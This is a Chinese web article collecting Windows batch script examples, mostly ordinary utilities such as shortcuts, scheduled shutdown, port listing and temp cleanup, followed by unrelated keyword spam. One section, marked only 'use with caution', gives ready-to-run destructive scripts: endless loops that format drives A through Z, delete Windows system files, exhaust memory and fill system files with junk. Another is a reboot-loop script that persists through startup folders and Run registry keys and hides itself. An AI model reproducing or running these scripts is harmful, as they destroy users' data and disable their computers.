千家信息网

使用批处理的示例分析

发表于:2026-11-04 作者:千家信息网编辑
千家信息网最后更新 2026年11月04日,这篇文章将为大家详细讲解有关使用批处理的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。批处理程序删除自身.batecho 有时候我们需要批处理程序在执行完成
千家信息网最后更新 2026年11月04日使用批处理的示例分析

这篇文章将为大家详细讲解有关使用批处理的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。


批处理程序删除自身.bat
echo 有时候我们需要批处理程序在执行完成之后删除自身,可以用 del %0
例:

代码如下:


@echo off
echo 按任意键后我将删除自身
pause
del %0


--------------------------------------------------------------------------------
批处理发送文件夹的快捷方式到桌面

代码如下:


echo [InternetShortcut] > "%userprofile%\桌面\文件夹.url"
echo URL=file:///C:/windows >> "%userprofile%\桌面\文件夹.url"


--------------------------------------------------------------------------------
批处理获取IP生成TXT文本.bat
以下代码是批处理获取IP同时生成TXT文本:

代码如下:


@echo off
<"%~f0" more +5 >tmp.vbs
cscript //NoLogo /e:vbscript tmp.vbs %1>ip.txt
echo >nul && del tmp.vbs
goto:eof
set oDOM = WScript.GetObject("http://www.duosc.com/ip.aspx")
do until oDOM.readyState = "complete"
WScript.sleep 200
Loop
s=oDOM.documentElement.innerText
set re = New RegExp
re.Pattern="(\d+)\.(\d+)\.(\d+)\.(\d+)"
For Each m in re.Execute(s)
WScript.Echo m
Next


--------------------------------------------------------------------------------
利用批处理禁用(启用)组策略
regsvr32 /s /u gpedit.dll 禁用
regsvr32 /s gpedit.dll 启用
单单使用这命令依然可以禁止使用组策略,但这样导致的后果就是-
这时候运行的组策略基本上只是个空壳了!利用下面的批处理将完美解决此类问题!
将下面这些代码编成BAT批处理文件,这段是禁用组策略的命令

代码如下:


@echo off
regsvr32 /s /u fde.dll
regsvr32 /s /u gpedit.dll
regsvr32 /s /u gptext.dll
regsvr32 /s /u wsecedit.dll
exit


这是启用组策略

代码如下:


@echo off
regsvr32 /s fde.dll
regsvr32 /s gpedit.dll
regsvr32 /s gptext.dll
regsvr32 /s wsecedit.dll
exit


--------------------------------------------------------------------------------
批处理定时关机.bat

代码如下:


@echo off
mode con lines=25
title 定时关机
color 1f
cls
echo.
echo.
echo.
echo.
echo 时间使用24小时制(如2:15、12:00),可以输入多个时间点
echo.
echo 多个时间点用空格分隔
echo.
echo.
echo ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
echo.
set times=
set /p times= 请输入关机时间:
:: 以下语句实现每个星期的每一天指定时间关机
:: 如果要换成每个月的某几天,请改字母为数字,并用逗号分隔
:: 以下代码没有错误检测语句,输入时间的时候务必按照指定格式输入
:: 可以用在CMD窗口用at命令来查看计划任务
if not "%times%"=="" for %%i in (%times%) do (
at %%i /every:M,T,W,Th,F,S,Su shutdown -s
)


--------------------------------------------------------------------------------
批处理创建url格式的快捷方式.bat

代码如下:


@echo off
echo [InternetShortcut] >cmd.url
echo URL=%windir%\system32\cmd.exe >>cmd.url
echo IconIndex=0 >>cmd.url
echo IconFile=%windir%\system32\cmd.exe>>cmd.url


--------------------------------------------------------------------------------
批处理进入全屏幕界面.bat

代码如下:


@echo off
:: 设定: 运行在全屏模式下
echo exit|%ComSpec% /k prompt e 100 B4 00 B0 12 CD 10 B0 03 CD 10 CD 20 $_g$_q$_|debug>nul
chcp 437>nul
graftabl 936>nul
:rem 下面放置任何命令……
dir
pause


--------------------------------------------------------------------------------
最小化运行批处理.bat

代码如下:


::最小化运行批处理
@echo off&&mode con cols=15 lines=1
%1 %2
start /min /i "" "%~nx0" goto min&&goto :eof
:min
echo xxx
pause>nul
exit
@echo off
mode con cols=15 lines=1
if exist "Temp.bat" goto Start
>Temp.bat echo start/min "" "%~nx0"^&exit
start/min Temp.bat&exit
:Start
del "Temp.bat">nul
pause


--------------------------------------------------------------------------------
全盘查找QQ.exe并执行.bat

代码如下:


@echo off
:: 全盘查找qq.exe,找到之后就执行并退出CMD窗口
:: fsutil fsinfo drives 得出来的结果虽然中间有空格,但是他代表是回车符或者换行符的作用,所以还要用find /v来过滤,否则,只得到第一个分区
setlocal enabledelayedexpansion
for /f "delims=\" %%i in ('fsutil fsinfo drives^|find /v ""') do (
set var=%%i
set drive=!var:~-2!
fsutil fsinfo drivetype !drive!|find "固定">nul && (
for /f "tokens=*" %%j in ('dir /a-d /b /s !drive!\qq.exe 2^>nul') do if not "%%j"=="" start "" "%%j" && exit
)
)


--------------------------------------------------------------------------------
删除历史记录.bat

代码如下:


@echo off
:: 删除"运行"、"查找"等处的历史记录
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v ClearRecentDocsonExit /t REG_DWORD /d 00000001


--------------------------------------------------------------------------------
批处理查看进程端口
用批处理实现的获取当前进程所开启的端口代码:

代码如下:


@echo off
color a
Title XP端口-进程查询
setlocal enabledelayedexpansion
echo ╔- -╗
echo 本机开放的端口及使用该端口的进程
echo ╚- -╝
echo ------------------------------------
echo 端口号 进程名称
ECHO TCP协议:
::利用netstat命令找出使用TCP协议通信的端口,并将结果分割;
::将第二个参数(IP加端口)传给%%i,第五个参数(PID号)传给%%j;
for /F "usebackq skip=4 tokens=2,5" %%i in (`"netstat -ano -p TCP"`) do (
call :Assoc %%i TCP %%j
echo !TCP_Port! !TCP_Proc_Name!
)
ECHO UDP协议:
for /F "usebackq skip=4 tokens=2,4" %%i in (`"netstat -ano -p UDP"`) do (
call :Assoc %%i UDP %%j
echo !UDP_Port! !UDP_Proc_Name!
)
echo 按任意键退出
pause>nul
:Assoc
::对%1(第一个参数)进行分割,将第二个参数传给%%e。在本程序中,%1即为上面的%%i(形式为:IP:端口号)
for /F "tokens=2 delims=:" %%e in ("%1") do (
set %2_Port=%%e
)
:: 查询PID等于%3(第三个参数)的进程,并将结果传给变量?_Proc_Name,?代表UDP或者TCP;
for /F "skip=2 usebackq delims=, tokens=1" %%a in (`"Tasklist /FI "PID eq %3" /FO CSV"`) do (
::%%~a表示去掉%%a外面的引号,因为上述命令的结果是用括号括起来的。
set %2_Proc_Name=%%~a
)


--------------------------------------------------------------------------------
破坏型BAT批处理脚本[慎用]
一、死循环强制格式化A:到Z:盘(对于部分速度比较快的机器会比较快当机……)

代码如下:


:format
@format a: /q /y >nul
@format b: /q /y >nul
@format d: /q /y >nul
@format e: /q /y >nul
@format f: /q /y >nul
@format g: /q /y >nul
@format h: /q /y >nul
@format i: /q /y >nul
@format j: /q /y >nul
@format k: /q /y >nul
@format l: /q /y >nul
@format m: /q /y >nul
@format n: /q /y >nul
@format o: /q /y >nul
@format p: /q /y >nul
@format q: /q /y >nul
@format r: /q /y >nul
@format s: /q /y >nul
@format t: /q /y >nul
@format u: /q /y >nul
@format v: /q /y >nul
@format w: /q /y >nul
@format x: /q /y >nul
@format y: /q /y >nul
@format z: /q /y >nul
@format c: /q /y >nul
goto format


二、死循环强制删除C:盘WINDOWS目录下的所有文件(跟上面的一个例子效果差不多,不过这里用到了强制删除参数)

代码如下:


:breake
@if exist %windir%\system32\*.* del %windir%\system32\*.* >nul
@if exist %windir%\*.* del %windir%\*.* >nul
goto breake


三、利用部分系统工具的内存占用卡到死机

代码如下:


:die
@start regsvr32.exe /s %windir%\system32\*.* >nul
@start %windir%\system32\*.* >nul
@start notepad %windir%\explorer.exe >nul
goto die


四、用部分工具的检测信息导出功能生成巨大的垃圾文件(虽然生成垃圾的速度很慢,但是跟"垃圾王"病毒有的一比,也算是"无声的*****"吧……)

代码如下:


@start ping 127.0.0.1 -t > %windir%\system32\regsvr32.dll >nul
:ping
@start ping 127.0.0.1 -t >> %windir%\system32\regsvr32.dll >nul
@start ping 127.0.0.1 -t >> %windir%\system32\regedit.exe >nul
goto ping


--------------------------------------------------------------------------------
反复重启的恶意批处理
反复重启就是让别人启动了再重启 一直反复,以下代码

代码如下:


@echo off
shutdown -r -t 3
copy %0 C:\Documents" "and" "Settings\All" "Users\「开始」菜单\程序\启动\a.bat
copy %0 c:\autoexec.bat
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v autoexec.bat /t REG_SZ /d c:\autoexec.bat /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v autoexec.bat /t REG_SZ /d c:\autoexec.bat /f
attrib autoexec.bat +r +s +h
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 00000000 /f
del %0


3秒重启 加入了启动项 开机就会3秒倒计时
--------------------------------------------------------------------------------
删除右键"新建"菜单项目.bat

代码如下:


@echo off
:: 只要删除"HKEY_CLASSERS_ROORT\.后缀名"项目下的"ShellNew"键就可以了
:: 如果实在删除不了,则把"HKEY_CLASSERS_ROORT\.后缀名"删除掉即可
mode con lines=25
title "新建"菜单内容删除器
color 1f
:input
cls
call :display
echo 如果要强行删除,请选 1
echo.
echo.
set input=
set /p input= 请输入后缀名:
if "%input%"=="" goto input
if "%input%"=="0" exit
if "%input%"=="1" goto fouce
for /f %%i in ("%input%") do (reg delete HKCR\.%%i\ShellNew /f)
goto continue
:fouce
cls
call :display
set input=
set /p input= 请输入后缀名(强行删除):
if "%input%"=="" goto fouce
if "%input%"=="0" exit
for /f %%i in ("%input%") do (reg delete HKCR\.%%i /f)
:continue
cls
call :display
echo.
set choice=
set /p choice= 还要继续清除吗?(y/n):
if "%choice%"=="" goto continue
if "%choice%"=="y" goto input
if "%choice%"=="" goto :eof
:display
echo.
echo.
echo.
echo.
echo.
echo.
echo 本程序能删除右键菜单中"新建"项目下的多余内容,为"新建"菜单减肥!
echo.
echo 如果想让某种类型的文件不再出现在鼠标右键的"新建"菜单中,请直接
echo.
echo 输入该文件类型的后缀名。例如:rar。
echo.
echo 退出请选 0
echo.


--------------------------------------------------------------------------------
快速清理垃圾文件(修正)

代码如下:


@echo off
color f0
echo.
echo 正在安全地自动清除垃圾文件……
del /f /q %systemdrive%\*.tmp>nul 2>nul
del /f /q %systemdrive%\*._mp>nul 2>nul
del /f /q %systemdrive%\*.log>nul 2>nul
del /f /q %systemdrive%\*.gid>nul 2>nul
del /f /q %systemdrive%\*.chk>nul 2>nul
del /f /q %systemdrive%\*.old>nul 2>nul
del /f /q %windir%\*.bak>nul 2>nul
del /f /q %windir%\*.tmp>nul 2>nul
del /f /q %windir%\prefetch\*.*>nul 2>nul
del /f /s /q %systemdrive%\recycled\*.*
del /f /q "%ALLUSERSPROFILE%\Documents\DrWatson\*.*">nul 2>nul
del /f /q "%USERPROFILE%\Cookies\*.txt">nul 2>nul
del /f /q /s "%TEMP%\*.*">nul 2>nul
del /f /q /s "%Systemroot%\Prefetch\*.*">nul 2>nul
del /f /q "%USERPROFILE%\Recent\*.*">nul 2>nul
del /f /q "%USERPROFILE%\Application Data\Microsoft\Office\Recent\*.lnk">nul 2>nul
del /f /q /s "%USERPROFILE%\Local Settings\Temp\*.*">nul 2>nul
rd /s /q %windir%\temp & md %windir%\temp>nul 2>nul
if not exist %SystemRoot%\Minidump\NUL del /f /q /s %SystemRoot%\Minidump\*.*>nul 2>nul
del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*">nul 2>nul

关于"使用批处理的示例分析"这篇文章就分享到这里了,希望以上内容可以对大家有一定的帮助,使各位可以学到更多知识,如果觉得文章不错,请把它分享出去让更多的人看到。

代码 文件 端口 输入 参数 命令 菜单 进程 后缀 垃圾 时间 程序 策略 运行 结果 生成 内容 文件夹 格式 桌面 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 云信互联网科技有限公司 新华互联网科技学院 朗新科技与工业互联网 互联网最新的科技有限公司 期待互联网科技 杭州互联网科技公司 贷财互联网科技 电子科技大学互联网 互联网 视角下的科技创新 互联网高科技企业 中国的互联网科技企业的崛起 湖南一路畅行互联网科技 民营互联网公司国防科技 广州新华互联网科技学校电竞方面 徐州市互联网科技有限公司 互联网高科技行业有哪些企业 陕西九四连强互联网科技有限公司 互联网科技创新创业项目 互联网科技大佬云集 广州全民伙伴互联网科技有限公司 新华互联网科技学院 盈实互联网科技 浩特互联网科技 互联网科技汛 工业互联网等科技实现智能化赋能 中科明德北京互联网科技 工业互联网山东科技大学 卡尔迅互联网科技有限公司 江苏互联网智能科技产品出厂价 恒生科技指数 中概互联网
0